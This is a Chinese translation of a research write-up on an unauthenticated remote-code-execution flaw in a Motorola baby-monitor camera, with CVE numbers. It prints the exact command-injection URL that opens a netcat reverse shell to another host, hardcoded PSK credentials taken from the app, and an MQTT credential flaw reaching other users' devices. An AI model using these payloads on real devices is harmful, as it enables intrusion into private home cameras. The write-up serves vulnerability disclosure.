对于要有孩子的家庭来说,有一个婴儿监视器是比较好的选择。婴儿监视器类型包括 Wi-Fi、移动app和云平台等。我们决定使用Motorola-Crib-Baby-Monitor-Soother-Camera,使用之前我想仔细研究一下这款设备的安全性。
我开始深入研究该设备,在一段时间后我发现了一个预认证 RCE 并在此后不久获取了一个完整的 root shell。
0x01 端口扫描
将Motorola-Crib-Baby-Monitor-Soother-Camera连接到 Wi-Fi 上,尝试进行服务和端口扫描确定开放端口。
这些端口为我寻找潜在的 API 通信提供了一个良好的开端。我在浏览器中访问了每一个,希望其中一个可以提供 Web 界面。这三个确都是 Web 服务器,尽管每个服务器的响应略有不同:
◼8080
– 404 未找到页面
◼9090
– 显示“不支持的命令”的响应正文
◼80
- 空白
无法让80端口做出响应,通过 cURL 请求看看返回信息:
user@ubuntu:~$ curl http://192.168.5.244 -v * Rebuilt URL to: http://192.168.5.244/ * Trying 192.168.5.244... * Connected to 192.168.5.244 (192.168.5.244) port 80 (#0) > GET / HTTP/1.1 > Host: 192.168.5.244 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 204 No content < Content-Length: 0 < Content-Type: text/plain < Connection: Keep-Alive < * Connection #0 to host 192.168.5.244 left intact
我尝试使用各种参数的请求,但都获取不到有效返回信息。
0x02 App逆向
接下来,我决定安装 Android 应用app并开始逆向,希望了解app如何与设备进行通信。婴儿监视器可以通过Hubble Connected for Motorola Monitors进行管理,这是设置后的样子:
除了Motorola-Crib-Baby-Monitor-Soother-Camera 指令外,设备还收集了很多数据并在应用程序中显示。在这里你可以看到它显示室温,以及其他监视器功能的状态,如夜灯和投影。
我的下一步思路是代理应用程序中的 API 请求。快速浏览应用程序的详细信息后logcat输出了一些信息。
API 请求很容易从日志中获取,注意到很多这样的请求与Hubble cloud服务交互,我更感兴趣的是应用程序是否直接通过 LAN 在访问设备。
接下来,我搜索了HTTP 通信的日志,并测试该应用程序的更多功能。在应用程序中更改了一些设备设置后,终于确定了向本地 API 发出的一些请求:
这正是我在寻找的,让我们尝试一个栗子:
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_wifi_strength" -v * Trying 192.168.5.244... * Connected to 192.168.5.244 (192.168.5.244) port 80 (#0) > GET /?action=command&command=get_wifi_strength HTTP/1.1 > Host: 192.168.5.244 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length: 21 < Content-Type: text/plain < Connection: Keep-Alive < * Connection #0 to host 192.168.5.244 left intact get_wifi_strength: 75
一个普通的HTTP 请求返回了一个以冒号分隔的响应数据包。
附加命令:
借助一些本地 API 请求示例,我反编译了 Android 应用程序并开始搜索对它们的引用,目标是找到代码库中使用的命令列表。我比较关心一个定义了配置常量列表的特定类ConfigConstants,包括可能的 GET 和 SET 命令,以及设置 Wi-Fi 的 PSK。
/* * Decompiled with CFR 0_121. */ package com.hubble.framework.common; public class ConfigConstants { public static final String AUTH_KEY_IS_NULL = "auth_key_is_null"; public static final String CAM_FOCUS_1_SSID = "\"CameraHD-006611d724\""; public static final String CAM_FOCUS_1_SSID_NAME = "CameraHD-006611d724"; public static final String CAM_FOCUS_SSID = "\"CameraHD-00661214b0\""; public static final String GLOBAL_PORT = ":80"; public static final String MQTT_P2P_ENABLE = "mqtt_p2p_enable"; public static final String TRANSFER_PROTOCOL = "http://"; public class Camera { public static final String ACCESS_TOKEN_COMMAND = "action=command&command=set_server_auth&value="; public static final String AP_INFO_COMMAND = "action=command&command=setup_wireless_save&setup="; public static final String GET_MAC_COMMAND = "action=command&command=get_mac_address"; public static final String GET_UDID_COMMAND = "action=command&command=get_udid"; public static final String GET_VERSION = "action=command&command=get_version"; public static final String HTTP_URI_SEPARATOR = "/?"; public static final String PREFS_CAMERA_CREDENTIAL_STATUS = "camera_credential"; public static final String PREFS_CAMERA_HTTP_NAME = "camera_http_name"; public static final String PREFS_CAMERA_HTTP_PASSWORD = "camera_http_pwd"; public static final String RESTART_DEVICE_COMMAND = "action=command&command=restart_system"; public static final String SETUP_FW_VERSION = "00.00.00"; public static final String SETUP_PSK_IDENTITY = "forekbsh93vlf8j08tt53qaghb"; public static final String SETUP_PSK_PASSWORD = "D9D9790A65CEF2B23B73CCA9DC18C888"; public static final String SETUP_TLS_DEFAULT_PORT = "4434"; public static final String SET_BOOTSTRAP_COMMAND = "set_bootstrap_info"; public static final String SET_BOOTSTRAP_URL = "action=command&command=set_bootstrap_info%s"; public static final String SET_CITY_TIMEZONE = "set_city_timezone"; public static final String SET_CITY_TIME_ZONE = "action=command&command=set_city_timezone&value=%s"; public static final String SET_DATE_TIME = "action=command&command=set_date_time&value=%s"; public static final String SET_DATE_TIME_COMMAND = "set_date_time"; public static final String WIFI_CONNECTION_STATE_COMMAND = "action=command&command=get_wifi_connection_state"; public static final String WIFI_LIST_COMMAND = "action=command&command=get_rt_list"; } }
我手动尝试ConfigConstants类中列出的命令,比如get_rt_list:
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_rt_list" -v * Trying 192.168.5.244... * Connected to 192.168.5.244 (192.168.5.244) port 80 (#0) > GET /?action=command&command=get_rt_list HTTP/1.1 > Host: 192.168.5.244 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length: 1096 < Content-Type: text/xml < 8***REMOVED***WPA272-8801* Connection #0 to host 192.168.5.244 left intact
上面的命令返回了Motorola-Crib-Baby-Monitor-Soother-Camera可用的 Wi-Fi 网络列表。由于列出的大多数命令似乎都适用于我的设备,因此我知道我找对地方了,因此将注意力转移到了 SET 命令上。“value”参数特别令人感兴趣,因为它们会接受用户控制的输入,如果不正确输入就可能会导致 RCE。
0x03 远程代码执行漏洞
最终执行 set_city_timezone,执行重启命令,设备立即重启了,执行get_version操作/?action=command&command=get_version
设备已经拒绝连接。
构建反弹shell:
http://192.168.5.244/?action=command&command=set_city_timezone&value=$(nc${IFS}192.168.5.202${IFS}5555${IFS}-e${IFS}/bin/sh)
注意要使用 $ { IFS } 空格的 shell 变量,因为网络服务器将处理 %20 的编码值。
下面是root shell :
0x04 MQTT凭证漏洞
通过对设备的shell访问,我现在能够更深入地挖掘并检查其他在黑盒条件下的攻击媒介,我想谈谈我发现的最关键的问题。
MQTT:
正如我上面所讨论的,大部分云集成是通过 Hubble API 实现的。集成的一个组件是基于 MQTT 构建的——就像在许多物联网设备架构中一样,它用于处理设备、移动应用程序客户端和 Hubble基础设施之间基于事件的发布/订阅交互。
例如,移动应用程序通过 Hubble API 中的 API 层与 MQTT 交互:
{ "status": 202, "message": "success", "data": { "id": "15f42d3d-7bcf-4fbd-8781-0bb3034f0fd2", "created_at": "2021-05-12T17:44:08Z", "updated_at": "2021-05-12T17:44:08Z", "job_type": "publish_command", "status": 202, "state": "SUCCESSFUL", "input": { "packet_header_pojo": "{\"command\":\"VALUE_TEMPERATURE\"}", "device_id": "50b0f163-51be-4ef5-ad55-f031d98f99b7" }, "output": { "reason": "mqtt published", "PublishResponse": "mqtt published", "DeviceResponseMessage": null, "DeviceResponseStatus": null, "PublishStatus": 202 }, "priority": "high", "last_executed_time": "2021-05-12T17:44:08Z", "execution_count": 1 } }
为了更好地理解 MQTT 实现的工作原理,我想连接一个客户端来观察传输中的消息。在查看设备上的一些日志后,我找到了 MQTT 服务器的主机名,以及所有 TLS 证书和连接密钥:
pwd /mnt/config/hubble_config ls -hal drwxr-x--- 2 root root 720 May 30 14:55 . drwxr-xr-x 4 root root 1.0K Dec 31 1969 .. -rw-r--r-- 1 root root 286 May 30 13:55 bootup_info -rw-r--r-- 1 root root 1.4K Dec 9 13:52 ca.crt -rw-r--r-- 1 root root 1.1K Dec 9 13:52 client.crt -rw-r--r-- 1 root root 1.6K Dec 9 13:52 client.key -rw-r----- 1 root root 0 Apr 1 23:37 dummy -rw-r----- 1 root root 0 Apr 1 23:37 smartconfig -rw-r--r-- 1 root root 5.2K May 30 14:55 user.conf -rw-r--r-- 1 root root 3.7K May 30 13:55 user1.conf
我打开了MQTT Explorer并配置了与设备证书的连接。我成功连接并马上看到了来自 Hubble Cloud中越来越多的其他设备的消息,我意识到客户端被配置为默认订阅 # 和 $SYS/#。很明显,这意味着要么是在所有Hubble 设备之间共享凭据,要么在 MQTT 中未强制执行设备之间的访问控制。
如果仔细观察,你可以看到来自各种设备的许多命令结果。虽然我没有尝试这样做,但我认为客户端很可能可以通过发布任意命令轻松控制整个设备群。
RCE漏洞的CVE编号是CVE-2021-3577,MQTT凭证问题的CVE编号是CVE-2021-3787。
本文翻译自:https://randywestergren.com/unauthenticated-remote-code-execution-in-motorola-baby-monitors/如若转载,请注明原文地址